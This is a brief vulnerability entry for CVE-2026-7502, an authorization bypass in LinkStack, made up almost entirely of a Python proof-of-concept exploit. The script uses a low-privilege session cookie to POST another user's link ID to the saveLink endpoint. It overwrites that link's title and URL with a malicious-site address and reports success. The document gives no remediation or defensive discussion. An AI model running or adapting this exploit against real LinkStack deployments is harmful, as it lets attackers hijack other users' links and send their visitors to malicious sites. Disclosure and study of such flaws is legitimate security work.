CVE-2026-7502 LinkStack授权绕过漏洞

# PoC Concept for Authorization Bypass in LinkStack saveLink import requests target_url = "http://target.com/user/saveLink" # Attacker's low privilege session cookie cookies = { "laravel_session": "attacker_session_value_here" } # The attacker attempts to update a link owned by another user (e.g., ID 42) payload = { "id": "42", # The vulnerable parameter allowing IDOR "title": "Hacked by Attacker", "url": "http://malicious-site.com", "description": "This link has been modified via auth bypass" } response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200 and "success" in response.text: print("[+] Exploit successful! Authorization bypassed.") else: print("[-] Exploit failed.")